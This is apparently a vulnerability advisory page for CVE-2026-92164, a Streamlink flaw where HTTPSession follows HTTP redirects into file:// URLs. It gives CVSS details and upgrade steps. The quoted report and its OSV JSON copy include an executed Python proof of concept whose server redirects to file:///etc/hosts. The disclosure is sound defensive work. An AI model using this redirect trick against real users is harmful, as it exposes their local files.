CVE-2026-92164: Streamlink HTTPSession Follows HTTP Redirects Into Vulnerability

MODERATE
Advisory Identifier: GHSA-vf2x-4v53-pm7v
CVSS 6.5
CWE-73
Published
Advisory Summary

CVE-2026-92164 is a MODERATE (CVSS 6.5) httpsession follows http redirects into vulnerability (CWE-73: External Control of File Name or Path) affecting Streamlink libraries in the PyPI ecosystem. The issue involves httpsession follows http redirects into file:// urls, reading local files. Remediation is available by upgrading affected packages to version 8.6.0.

CVE-2026-92164 at a Glance

CVE Identifier CVE-2026-92164
GHSA Identifier GHSA-vf2x-4v53-pm7v
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Streamlink
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-92164

To remediate this vulnerability, upgrade all affected Streamlink dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

streamlink fixed: 8.6.0
pip install streamlink>=8.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show streamlink

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-92164, inspect your installed packages using pip:

pip show streamlink

Analyze the terminal output to locate any version of Streamlink in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.6.0), your application is affected.

Note: The pip show streamlink command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Streamlink, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `HTTPSession` mounts a `FileAdapter` for the `file://` scheme and inherits redirect handling unchanged from `requests.Session`. `requests` does not check for scheme downgrades or cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can be redirected by the remote server into `file:///...` and the local file is returned as the response body. `GHSA-hgqw-6m45-hw5f` / `CVE-2026-44353` fixed direct `file://` segment and playlist URIs in HLS playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a manifest that lists an ordinary `https://` URL passes them, and the redirect happens later at fetch time. The attack surface is the same one that advisory describes, but the flaw is one level down in `HTTPSession` rather than in the streaming implementations, so it applies to every request the session makes and not only to segment and manifest fetches. ## Affected version Executed against released `streamlink 8.5.0` (PyPI, installed into a clean venv on Python 3.12). ## Attacker model The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No privileges on the victim host and no `file://` input are required, and the `file://` scheme never appears in anything the victim or the manifest parser sees. ## Proof of concept, executed ```python import threading from http.server import BaseHTTPRequestHandler, HTTPServer from streamlink.exceptions import StreamError from streamlink.session.http import HTTPSession class H(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/segment": self.send_response(302) self.send_header("Location", "file:///etc/hosts") self.end_headers() else: self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = HTTPServer(("127.0.0.1", 0), H) port = srv.server_port threading.Thread(target=srv.serve_forever, daemon=True).start() s = HTTPSession() res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5) print("requested http://127.0.0.1:%d/segment" % port) print("final_url ", res.url) print("status ", res.status_code) print("content ", res.content[:40]) srv.shutdown() ``` Output: ```text requested http://127.0.0.1:52205/segment final_url file:///etc/hosts status 200 content b'##\n# Host Database\n#\n# localhost is used' ``` The request goes out over http, the response comes back from the local filesystem, and nothing in between rejects the scheme change. Substituting a path the attacker wants read for `/etc/hosts` returns that file's contents into whatever consumes the response, which for a segment fetch means the file is written into the stream output. ## Suggested fix Override `get_redirect_target()` or `resolve_redirects()` on `HTTPSession` and reject a redirect whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it on the session rather than through a response hook keeps plugin authors from removing the check by overriding hooks. Custom protocol adapters can still redirect, but only to `https` or to their own scheme. ### AI tooling AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

CVE-2026-92164 Affected Streamlink Versions

1 component(s)
Fixed Versions:
8.6.0
Product / Package Ecosystem Affected Versions Fixed Version
streamlink
PyPI
< 8.6.0
8.6.0

References

Frequently Asked Questions

What is CVE-2026-92164?
CVE-2026-92164 is a security vulnerability in Streamlink involving HTTPSession follows HTTP redirects into file:// URLs, reading local files under CWE-73: External Control of File Name or Path.
Which Streamlink versions are affected?
Affected versions include releases prior to 8.6.0 across affected packages: streamlink.
What version fixes CVE-2026-92164?
Upgrading to 8.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is streamlink affected?
Yes, streamlink is affected in releases prior to 8.6.0. Upgrade your dependency to 8.6.0 or later.
What is the CVSS score of CVE-2026-92164?
CVE-2026-92164 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-92164?
CVE-2026-92164 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for CVE-2026-92164?
Run the dependency tree command: 'pip show streamlink'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vf2x-4v53-pm7v",
  "modified" : "2026-09-24T14:58:04Z",
  "published" : "2026-09-24T14:58:04Z",
  "aliases" : [ "CVE-2026-92164" ],
  "summary" : "Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files",
  "details" : "## Summary\n\n`HTTPSession` mounts a `FileAdapter` for the `file://` scheme and inherits redirect handling\nunchanged from `requests.Session`. `requests` does not check for scheme downgrades or\ncross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can\nbe redirected by the remote server into `file:///...` and the local file is returned as the\nresponse body.\n\n`GHSA-hgqw-6m45-hw5f` / `CVE-2026-44353` fixed direct `file://` segment and playlist URIs in HLS\nplaylists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a\nmanifest that lists an ordinary `https://` URL passes them, and the redirect happens later at fetch\ntime. The attack surface is the same one that advisory describes, but the flaw is one level down in\n`HTTPSession` rather than in the streaming implementations, so it applies to every request the\nsession makes and not only to segment and manifest fetches.\n\n## Affected version\n\nExecuted against released `streamlink 8.5.0` (PyPI, installed into a clean venv on\nPython 3.12).\n\n## Attacker model\n\nThe attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed\non the command line, or any http(s) URL referenced from attacker-controlled manifest content. No\nprivileges on the victim host and no `file://` input are required, and the `file://` scheme never\nappears in anything the victim or the manifest parser sees.\n\n## Proof of concept, executed\n\n```python\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nfrom streamlink.exceptions import StreamError\nfrom streamlink.session.http import HTTPSession\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \"/segment\":\n            self.send_response(302)\n            self.send_header(\"Location\", \"file:///etc/hosts\")\n            self.end_headers()\n        else:\n            self.send_response(404)\n            self.end_headers()\n\n    def log_message(self, *a):\n        pass\n\nsrv = HTTPServer((\"127.0.0.1\", 0), H)\nport = srv.server_port\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\ns = HTTPSession()\nres = s.get(f\"http://127.0.0.1:{port}/segment\", exception=StreamError, timeout=5)\nprint(\"requested   http://127.0.0.1:%d/segment\" % port)\nprint(\"final_url  \", res.url)\nprint(\"status     \", res.status_code)\nprint(\"content    \", res.content[:40])\nsrv.shutdown()\n```\n\nOutput:\n\n```text\nrequested   http://127.0.0.1:52205/segment\nfinal_url   file:///etc/hosts\nstatus      200\ncontent     b'##\\n# Host Database\\n#\\n# localhost is used'\n```\n\nThe request goes out over http, the response comes back from the local filesystem, and nothing in\nbetween rejects the scheme change. Substituting a path the attacker wants read for `/etc/hosts`\nreturns that file's contents into whatever consumes the response, which for a segment fetch means\nthe file is written into the stream output.\n\n## Suggested fix\n\nOverride `get_redirect_target()` or `resolve_redirects()` on `HTTPSession` and reject a redirect\nwhose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it\non the session rather than through a response hook keeps plugin authors from removing the check by\noverriding hooks. Custom protocol adapters can still redirect, but only to `https` or to their own\nscheme.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "streamlink"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/streamlink/streamlink/security/advisories/GHSA-vf2x-4v53-pm7v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92164"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/streamlink/streamlink/commit/4b99c64dde21ea70c24d9ffdbd15849b05f465c6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/streamlink/streamlink"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/streamlink/streamlink/releases/tag/8.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T14:58:04Z",
    "nvd_published_at" : "2026-09-23T15:17:29Z"
  }
}